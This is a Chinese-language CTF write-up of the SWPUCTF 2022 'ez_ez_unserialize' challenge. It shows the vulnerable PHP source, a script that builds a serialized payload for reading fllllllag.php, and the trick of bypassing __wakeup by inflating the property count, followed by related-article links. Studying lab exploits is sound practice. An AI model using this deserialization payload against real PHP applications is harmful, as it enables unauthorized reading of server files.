复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
其实防守也摸鱼2 小时前
Upload-labs:部署靶场及Pass-01实战解析
服务器·网络·安全·web安全·教程·文件上传·工具
菱玖2 小时前
等保2.0及其测评
网络·安全·web安全
Nanhuiyu4 小时前
白帽江湖实战靶场SQL注入篇:SQL注入 - 延迟注入(无防护)
web安全·sql注入·白帽江湖·延迟注入
一只IT攻城狮4 小时前
️ Spring Boot 文件上传,防御恶意文件攻击
java·spring boot·web安全
Nanhuiyu4 小时前
白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(无防护)
web安全·sql注入·布尔盲注·白帽江湖
2301_780789664 小时前
2025年服务器漏洞生存指南:从应急响应到长效免疫的实战框架
网络·安全·web安全·架构·ddos
Nanhuiyu5 小时前
白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(无防护)
web安全·sql注入·报错注入·白帽江湖
JS_SWKJ5 小时前
网闸≠防火墙:我们拆解了数据包的“物理摆渡“全过程
网络·安全·web安全
其实防守也摸鱼1 天前
VS code怎么使用 Conda 安装预编译包
开发语言·网络·c++·vscode·安全·web安全·conda
Wyc724091 天前
信息安全与多媒体基础知识
网络·安全·web安全